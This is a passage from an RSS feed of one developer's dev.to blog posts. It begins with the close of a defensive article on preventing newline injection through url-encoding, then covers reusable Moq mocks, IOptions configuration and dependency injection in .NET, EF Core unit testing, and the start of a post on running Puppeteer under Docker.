&lt;p&gt;I’d like to think about Newline Injection the same way we think about SQL Injection, which I think is a much more understood and accepted injection attack. Whenever we’re dealing with an SQL query, we need to keep SQL Injection in the back of our minds and make sure that we’re using parameterized queries to avoid any security holes. In the same way, whenever we’re dealing with systems that involve a semantic newline, such as logging frameworks, SMTP and beyond, we need to make sure that we’re handling newline characters correctly. A simple approach might be to just &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent"&gt;url-encode&lt;/a&gt; any dynamic components. This would mean that any &lt;code&gt;\r\n&lt;/code&gt; characters would be replaced with &lt;code&gt;%0D%0A&lt;/code&gt; and simply be displayed as such, instead of literally producing a new line in the message.&lt;/p&gt;

&lt;h1&gt;
  
  
  Can’t we replace newlines instead of url-encoding them?
&lt;/h1&gt;

&lt;p&gt;One alternate strategy might be to replace &lt;code&gt;\n&lt;/code&gt; characters with a space, instead of url-encoding them. There are a few reasons why I think url-encoding is the preferable solution:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;There are some instances where we expect user input to contain new lines - eg: multi-line text fields. We certainly don’t want to accidentally replace those valid new lines with spaces.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If someone is submitting potentially malicious newline characters, I’d prefer to see that show up in our application logs so we can respond appropriately, rather than have the attack be silently converted into normal-looking data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There could also be other potentially harmful characters in the input field. Doing a replace would only protect against newline injection, whereas url-encoding should protect against a wider range of attacks. That’s not to say url-encoding is a silver bullet, but I still think it would handle more cases than a simple replacement of &lt;code&gt;\n&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Anyway, I think that wraps up my thoughts on newline injection. This is by no means an exhaustive summary, so if you can think of any other exploits that I haven’t mentioned or have anything else to add, please feel free to let me know in the comments. Until next time!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Re-usable mocks in .NET using Moq</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Fri, 04 Aug 2023 22:53:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/re-usable-mocks-in-net-using-moq-2faf</link>
      <guid>https://dev.to/jasonsultana/re-usable-mocks-in-net-using-moq-2faf</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;A while back I wrote a little example of &lt;a href="///dotnet/testing/2021/07/31/using-the-builder-pattern-to-help-your-unit-tests.html"&gt;using the Builder pattern in automated tests&lt;/a&gt;, and I wanted to follow it up with another common practice that I employ in test projects - re-usable mocks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Rdprwsy_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/mocking-me.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Rdprwsy_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/mocking-me.gif" alt="" width="420" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  What are mocks again?
&lt;/h1&gt;

&lt;p&gt;For those of you who might be new-ish to automated tests, imagine you’ve got a class that looks something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Mailer
{
    private readonly ISmtpClient _smtpClient;

    public Mailer(ISmtpClient smtpClient)
    {
        _smtpClient = smtpClient;
    }

    public async Task SendMailAsync(SendMailRequest request)
    {
        await _smtpClient.SendAsync(new SmtpMessage()
        {
            Port = 25,
            To = request.To,
            Credentials = CredentialsFactory.GetSmtpCredentials(),
            // ...
        });
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: The above code is an imaginary sample. These classes don’t actually exist.&lt;/p&gt;

&lt;p&gt;If we wanted to create an isolated test for this, that doesn’t actually send any emails (i.e - a unit test) then we need a way of creating a fake instance of &lt;code&gt;ISmtpClient&lt;/code&gt; that we control, which doesn’t actually send any mail, but allows us to inspect when methods get called, provide dummy data, etc. That’s basically a mock.&lt;/p&gt;

&lt;h1&gt;
  
  
  Writing mocks with…Moq
&lt;/h1&gt;

&lt;p&gt;If we then wanted to create a unit test (with mocks) for the above mailer class, it might looks something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class MailerTests
{
    [Fact]
    public async Task Can_send_mail()
    {
        // Arrange
        var smtp = new Mock&amp;lt;ISmtpClient&amp;gt;();
        smtp.Setup(m =&amp;gt; m.SendAsync(It.IsAny&amp;lt;SmtpRequest&amp;gt;())).Verifiable();

        // Act
        var sut = new Mailer(smtp.Object);
        await sut.SendMailAsync(new SendMailRequest()
        {
            // 
        });

        // Assert
        smtp.Verify(); // this will throw if SendAsync was not called
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In short, we create a mock of &lt;code&gt;ISmtpClient&lt;/code&gt; called &lt;code&gt;smtp&lt;/code&gt;, set it up so that it mocks the &lt;code&gt;SendAsync&lt;/code&gt; method and mark it as verifiable - so that we can &lt;em&gt;verify&lt;/em&gt; if it was called later. We pass the mock into the &lt;code&gt;Mailer&lt;/code&gt; (the service under test) and then verify later that the method was called.&lt;/p&gt;

&lt;h1&gt;
  
  
  Sounds good! What’s wrong with this?
&lt;/h1&gt;

&lt;p&gt;I wouldn’t say that anything is &lt;em&gt;wrong&lt;/em&gt; with it - but it can be made more reusable. Let’s just say that we had a couple of other tests (and potentially other services, which all have their own tests, too) that all use the &lt;code&gt;ISmtpClient&lt;/code&gt;. We’d have to repeat this process of creating a mock every time. Whereas instead, we could do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class MockSmtpClient : IMock&amp;lt;SmtpClient&amp;gt;
{
    public MockSmtpClient SetupSendAsync(bool veriable = false)
    {
        var setup = Setup(m =&amp;gt; m.SendAsync(It.IsAny&amp;lt;SmtpRequest&amp;gt;()));

        if (verifiable)
            setup.Verifiable();

        return this;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The idea is that now we have a &lt;em&gt;re-usable&lt;/em&gt; mock that we can use across multiple tests. Especially when the service that you’re mocking contains a number of methods that will be used (think repositories and other data-related services), this can make the test code a lot more concise and readable. It also means that if you ever want to change how all your mocks are setup (eg: to make them all verifable), you should have far fewer places to change than trying to change every instance of &lt;code&gt;Mock&amp;lt;T&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Anyway - that about wraps me up. Does anyone follow a similar practice, or have any other common practices when it comes to automated tests? Let me know in the comments!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>testing</category>
    </item>
    <item>
      <title>Adding Configuration to .NET 6 Projects using the IOptions pattern</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Mon, 08 Aug 2022 11:44:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/adding-configuration-to-net-6-projects-using-the-ioptions-pattern-16ch</link>
      <guid>https://dev.to/jasonsultana/adding-configuration-to-net-6-projects-using-the-ioptions-pattern-16ch</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Following on from my last post on &lt;a href="https://dev.to/jasonsultana/adding-dependency-injection-to-your-net-console-apps-and-tests-34m5"&gt;Dependency Injection&lt;/a&gt;, I wanted to compliment it with an up-to-date guide on adding configuration. We’ll start with a Web API (since its the simplest), and then look at adding config to other project types like console apps or tests.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WgULDlh4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/configuration.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WgULDlh4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/configuration.jpg" alt="" width="600" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Let’s start with the API
&lt;/h3&gt;

&lt;p&gt;If you create a new Web API project in Visual Studio, you’ll be presented with a couple of default files, but the ones relevant to us are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;appsettings.json&lt;/code&gt;This is our configuration file. We’ll add some new config here in a sec.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Program.cs&lt;/code&gt;This is the bootstrapping file that sets everything up. We’ll modify this shortly to read the configuration and expose it to our controller.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;WeatherForecastController.cs&lt;/code&gt;This is a default sample controller that Visual Studio created. We’ll modify this to read the configuration.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Step 1: Add config
&lt;/h4&gt;

&lt;p&gt;Add a custom &lt;code&gt;ApiSettings&lt;/code&gt; section to your config. Your &lt;code&gt;appsettings.json&lt;/code&gt; file should look something like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft.AspNetCore": "Warning"
    }
  },
  "AllowedHosts": "*",
  "ApiSettings": {
    "ApiName": "My Awesome API"
  }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 2: Add a strongly typed config class
&lt;/h4&gt;

&lt;p&gt;Our custom section was called &lt;code&gt;ApiSettings&lt;/code&gt; with a single string &lt;code&gt;ApiName&lt;/code&gt; field, so let’s define a class with the same schema.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public class ApiSettings
    {
        public string ApiName { get; set; }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 3: Register config in Program.cs
&lt;/h4&gt;

&lt;p&gt;Note: If you’re using a .NET version below .NET 6, then this will take place in the &lt;code&gt;ConfigureServices&lt;/code&gt; method of &lt;code&gt;Startup.cs&lt;/code&gt; instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        var builder = WebApplication.CreateBuilder(args);

        // Add services to the container.

        builder.Services.AddControllers();
        // Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
        builder.Services.AddEndpointsApiExplorer();
        builder.Services.AddSwaggerGen();

        var app = builder.Build();

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above is the auto-generated Program.cs contents of your .NET6 Web Api. Before calling &lt;code&gt;Build&lt;/code&gt; on the &lt;code&gt;builder&lt;/code&gt;, add the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        builder.Services.Configure&amp;lt;ApiSettings&amp;gt;(builder.Configuration.GetSection("ApiSettings"));

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This registers our &lt;code&gt;ApiSettings&lt;/code&gt; configuration section, associated with the strongly typed class we created earlier, with the .NET Dependency Injection container.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 4: Profit?
&lt;/h4&gt;

&lt;p&gt;Now we’ve done all the heavy lifting, we can use the relevant config by injecting it into a controller or service. For demo purposes, let’s inject it into the auto-generated &lt;code&gt;WeatherForecastController&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public WeatherForecastController(ILogger&amp;lt;WeatherForecastController&amp;gt; logger, IOptions&amp;lt;ApiSettings&amp;gt; options)
    {
        _logger = logger;
        _apiSettings = options.Value;
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Put a breakpoint in the constuctor and observe that &lt;code&gt;options&lt;/code&gt; has been populated with the value(s) from our JSON config, thanks to Dependency Injection and the minimal configuration setup we did in the previous step. Just don’t forget to define the config parameters &lt;code&gt;IOptions&amp;lt;T&amp;gt;&lt;/code&gt; instead of just &lt;code&gt;T&lt;/code&gt;, which is a common mistake newcomers will make. Remember that configuration in .NET Core (and nowadays just .NET) is based on &lt;code&gt;IOptions&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hey, what about for non-API projects?
&lt;/h3&gt;

&lt;p&gt;You didn’t think we were done, did you? Well, I guess if you just wanted samples for a Web API project you can leave now. But for everyone else - if you read my last post on Dependency Injection, you may remember that what makes adding DI for non-web projects non straightforward is just how much scaffolding happens automatically with the web projects. The same is true for configuration. We can achieve the same results in non-web projects, we just need to do a bit more of the heavy lifting ourselves.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Add packages
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Configuration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Configuration.Json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.DependencyInjection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.DependencyInjection.Abstractions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Options&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I’ll let you decide what versions to use - but these are the core packages that will get us started.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Add Config file
&lt;/h4&gt;

&lt;p&gt;I recommend adding the &lt;code&gt;appsetting.json&lt;/code&gt; from our Web API project as a link to our console or test file, just to save having to reconfigure everything. Oh, and you’ll also want to add a reference to whatever project your &lt;code&gt;ApiSettings&lt;/code&gt; class is defined in - probably the Web API project, if you’ve just been following this guide.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Profit?
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Options;
using SampleNet6Api;

var config = new ConfigurationBuilder()
                 .SetBasePath(Directory.GetCurrentDirectory())
                 .AddJsonFile("appsettings.json")
                 .Build();

var services = new ServiceCollection()
   .AddOptions()
   .Configure&amp;lt;ApiSettings&amp;gt;(config.GetSection("ApiSettings"))
   .BuildServiceProvider();

var apiSettings = services.GetService&amp;lt;IOptions&amp;lt;ApiSettings&amp;gt;&amp;gt;();

Console.WriteLine(apiSettings.Value.ApiName);
Console.ReadLine();

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above is the contents of my &lt;code&gt;Program.cs&lt;/code&gt; in a console project, but it’ll be quite similar for test projects as well.&lt;/p&gt;

&lt;p&gt;First, we create a &lt;code&gt;ConfigurationBuilder&lt;/code&gt; and populate it with the config from our JSON file. Then, we create a &lt;code&gt;ServiceCollection&lt;/code&gt; (the .NET DI container), add &lt;code&gt;IOptions&lt;/code&gt; to it and register our &lt;code&gt;ApiSettings&lt;/code&gt; class from the config. These two steps (minus the &lt;code&gt;Configure&lt;/code&gt; bit) happen automatically under the hood with Web projects.&lt;/p&gt;

&lt;p&gt;Lastly, we grab the &lt;code&gt;IOptions&amp;lt;ApiSettings&amp;gt;&lt;/code&gt; service from the DI container and write the config value to the console. This is more-or-less that happened in the constructor of &lt;code&gt;WeatherForecastController&lt;/code&gt; in our Web API project.&lt;/p&gt;

&lt;p&gt;And that’s about it. Happy coding (or should I say configuring), and catch ya later!&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>configuration</category>
    </item>
    <item>
      <title>Adding Dependency Injection to your .NET Console Apps (and tests)</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sat, 06 Aug 2022 10:04:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/adding-dependency-injection-to-your-net-console-apps-and-tests-34m5</link>
      <guid>https://dev.to/jasonsultana/adding-dependency-injection-to-your-net-console-apps-and-tests-34m5</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;You’ve probably noticed that Dependency Injection (DI) has become the defacto norm these days, and arguably rightfully so, since it (if used properly) leads to a testable, changeable, de-coupled codebase. But perhaps one challenge (at least in the ASP.NET ecosystem) is that because so much of the bootstrapping is taken care of when we create a new ASP.NET project, it can be confusing and unclear as to how to set up DI in your automated tests or other top-level projects that don’t get the out-of-the-box scaffolding that ASP.NET web projects do. There are a few guides on how to do this out there, but here’s a no-fluff minimalistic one.&lt;/p&gt;

&lt;p&gt;Oh, before going any further, I’ll mention that the examples shown here will be using Microsoft’s no-frills DI container that comes out of the box with ASP.NET Core projects. The concepts covered here will be similar for other containers, but the code itself will differ slightly.&lt;/p&gt;

&lt;h3&gt;
  
  
  First, lets order some packages
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zDFFqzZf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/amazon-packages.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zDFFqzZf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/amazon-packages.jpeg" alt="" width="640" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When it comes to versioning, chances are you’ve already got these installed in other projects in your solution. So as long as you’re not mixing and matching .NET versions between projects, it makes sense to keep the versions the same. For this reason, I’ll just list the packages you need and let you figure out the appropriate version.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Configuration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Configuration.Json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.DependencyInjection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.DependencyInjection.Abstractions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft.Extensions.Options&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Add your app settings
&lt;/h3&gt;

&lt;p&gt;When it comes to configuration, you probably have some custom app settings defined in an &lt;code&gt;appsettings.*.json&lt;/code&gt; file within your existing ASP.NET web project. You’ll need to get this into your new (bare bones) project for the same settings to apply. You have a few options for doing this:&lt;/p&gt;

&lt;p&gt;1) Create a custom settings file for your new project; 2) Copy the existing appsettings.json file from your web project into your new one; or 3) Add a link from the existing appsettings.json file to your new project&lt;/p&gt;

&lt;p&gt;I usually prefer option 3, so any changes you make in the appsetting.json file in your main web project will also take effect in your new project, and you don’t need to maintain two (or more) config files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_Ih3YxZm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/vs-add-as-link.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_Ih3YxZm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/vs-add-as-link.png" alt="" width="814" height="587"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;* The appearance of this may look slightly different in Rider or VS for Mac, but it should still be there.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Set it all up
&lt;/h3&gt;

&lt;p&gt;Here, I suggest creating a &lt;code&gt;xxxBootstrapper&lt;/code&gt; class to handle the bootstrapping of the DI container and any other setup, where &lt;code&gt;xxx&lt;/code&gt; is a prefix for your project. Eg: If this is a test project, you could call this &lt;code&gt;TestBootstrapper&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public static class TestBootstrapper
    {
        public static void Bootstrap(IServiceCollection services)
        {
            // todo: Add any test services
        }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  That’s great, but how do I actually create the IServiceCollection instance?
&lt;/h3&gt;

&lt;p&gt;Ask politely :) Seriously though, just create a new &lt;code&gt;ServiceCollection&lt;/code&gt;, which is the concrete implementation of &lt;code&gt;IServiceCollection&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    public static class ServiceProviderFactory
    {
        public static IServiceProvider CreateServiceProvider()
        {
            var services = new ServiceCollection();

            LibraryBootstrapper.Bootstrap(services);
            TestBootstrapper.Bootstrap(services);

            return services.BuildServiceProvider();
        }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we’ll probably be doing this in every single test and the bootstrapping logic will probably grow as our solution does, I’ve placed this inside a factory for convenience.&lt;/p&gt;

&lt;h3&gt;
  
  
  Putting it all together
&lt;/h3&gt;

&lt;p&gt;Here it is :) Do note that &lt;code&gt;Setup&lt;/code&gt; and &lt;code&gt;Test&lt;/code&gt; are NUnit-specific attributes, which may differ from what you’ll need to use depending on the testing framework you’re using - although you ought to use NUnit because all the others are stupid.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;*** The above statement is a joke. Use whichever testing framework you like.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;using ConsoleDependencyInjection.Library;
using Microsoft.Extensions.DependencyInjection;

namespace ConsoleDependencyInjection.Tests;

public class MyServiceTests
{
    private IMyService _sut;

    [SetUp]
    public void Setup()
    {
        _sut = ServiceProviderFactory
            .CreateServiceProvider()
            .GetService&amp;lt;IMyService&amp;gt;();
    }

    [Test]
    public void Test1()
    {
        Assert.DoesNotThrow(() =&amp;gt;
        {
            _sut.DoTheThing();
        });
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;Setup&lt;/code&gt; method (which runs before each test), we create an instance of the service provider from the factory we created earlier, and using a Service Locator approach to DI, ask the provider for the service we want to test. To see the whole thing in action, you can check out the repo on &lt;a href="https://github.com/jasonsultana/ConsoleDependencyInjection"&gt;Github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Thanks for reading! Catch ya!&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>testing</category>
    </item>
    <item>
      <title>Writing unit tests for EF Core</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sun, 16 Jan 2022 08:21:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/writing-unit-tests-for-ef-core-4lji</link>
      <guid>https://dev.to/jasonsultana/writing-unit-tests-for-ef-core-4lji</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;It’s been a while since I’ve had a good look at Entity Framework, since for the last couple of years I’ve been professionally living in mostly NoSQL-land. Earlier today though, I thought I’d crack open an old hobby project and add some unit tests for it. That’s easier said than done though unless you know what you’re doing, since &lt;code&gt;DbContext&lt;/code&gt; by default is not easily unit testable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bro, do you even Moq?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjason.sultana.net.au%2Fstatic%2Fimg%2Fbro-do-you-even-mock.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjason.sultana.net.au%2Fstatic%2Fimg%2Fbro-do-you-even-mock.jpeg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I hear ya! It should be as simple as extracting an interface out of your context, mocking it with Moq and you’re done! The problem essentially is the &lt;code&gt;DbSet&amp;lt;T&amp;gt;&lt;/code&gt; that you use to define your tables. Firstly, &lt;code&gt;DbSet&amp;lt;T&amp;gt;&lt;/code&gt; is abstract, so it can’t be newed. On top of that, there are a whole plethora of methods on it that are a pain to mock - &lt;code&gt;ToListAsync()&lt;/code&gt;, &lt;code&gt;Where()&lt;/code&gt; chaining, &lt;code&gt;IQueryable&amp;lt;T&amp;gt;&lt;/code&gt; logic, unions and other set operations and more. If I remember correctly, there was a &lt;a href="https://docs.microsoft.com/en-us/ef/ef6/fundamentals/testing/mocking#testing-with-async-queries" rel="noopener noreferrer"&gt;Microsoft article&lt;/a&gt; published years ago which gave you an implementation for what was essentially a mockable &lt;code&gt;DbSet&amp;lt;T&amp;gt;&lt;/code&gt;, but I’ve found a better solution: &lt;code&gt;Moq.EntityFrameworkCore&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can have a look at the official howto on &lt;a href="https://github.com/MichalJankowskii/Moq.EntityFrameworkCore" rel="noopener noreferrer"&gt;Github&lt;/a&gt;, but the gist of it is:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

        var mock = new Mock&amp;lt;IYourDbContext&amp;gt;();
        mock.Setup(m =&amp;gt; m.Customers)
            .ReturnsDbSet(_customers); // This magic comes from Moq.EntityFrameworkCore



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;And that’s it! Admittedly I haven’t tested it thoroughly, but for the simple-ish test cases that I have, it works like a dream. Looking at the &lt;a href="https://github.com/MichalJankowskii/Moq.EntityFrameworkCore/tree/master/src/Moq.EntityFrameworkCore/DbAsyncQueryProvider" rel="noopener noreferrer"&gt;source code&lt;/a&gt; interestingly looks quite similar to the Microsoft article, but even if it is just taking what Microsoft gave us and packaging it into a nice, easily-consumable chunk of nuget (I’m dreaming of Tim Tams), it’s much appreciated.&lt;/p&gt;

&lt;p&gt;Anyway, that’s all from me - this might be my shortest post yet. Happy mocking!&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>testing</category>
    </item>
    <item>
      <title>Running Puppeteer under Docker</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Fri, 14 Jan 2022 23:54:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/running-puppeteer-under-docker-3367</link>
      <guid>https://dev.to/jasonsultana/running-puppeteer-under-docker-3367</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;I recently tried to dockerise an old hobby project and unsurprisingly, a couple of things broke. Some of these were fairly simple fixes so I won’t go into their details - but I will go into a fairly obscure one, which was caused by puppeteer. Regarding the application itself, it does a few things, but for the purposes of this article, let’s just say that it renders some reports using Puppeteer and NodeJS (while running as a .NET app).&lt;/p&gt;

&lt;h3&gt;
  
  
  Dance monkey, dance monkey, dance…wait, what?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9dth0Ant--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/dance-puppet.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9dth0Ant--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jason.sultana.net.au/static/img/dance-puppet.jpeg" alt="" width="275" height="183"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you haven’t heard of &lt;a href="https://github.com/puppeteer/puppeteer"&gt;Puppeteer&lt;/a&gt;, it’s basically a NodeJS library that allows you to run (and control) an instance of headless chrome. i.e - an instance of Google chrome without a UI. In this project, I was using it to render PDF exports of reports. Running natively, it worked like a charm. But under docker, well…I’m writing this article after all, aren’t I?&lt;/p&gt;

&lt;h3&gt;
  
  
  Hold up, let’s see your docker setup first.
&lt;/h3&gt;

&lt;p&gt;I thought you might say that! Well, first here’s the dockerfile.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FROM mcr.microsoft.com/dotnet/aspnet:6.0 AS base
WORKDIR /app
EXPOSE 80

FROM mcr.microsoft.com/dotnet/sdk:6.0 AS build
WORKDIR /src
COPY ["MyApplication.API/MyApplication.API.csproj", "MyApplication.API/"]
COPY ["MyApplication.Common/MyApplication.Common.csproj", "MyApplication.Common/"]
COPY ["MyApplication.Data/MyApplication.Data.csproj", "MyApplication.Data/"]
COPY ["MyApplication.Logic/MyApplication.Logic.csproj", "MyApplication.Logic/"]
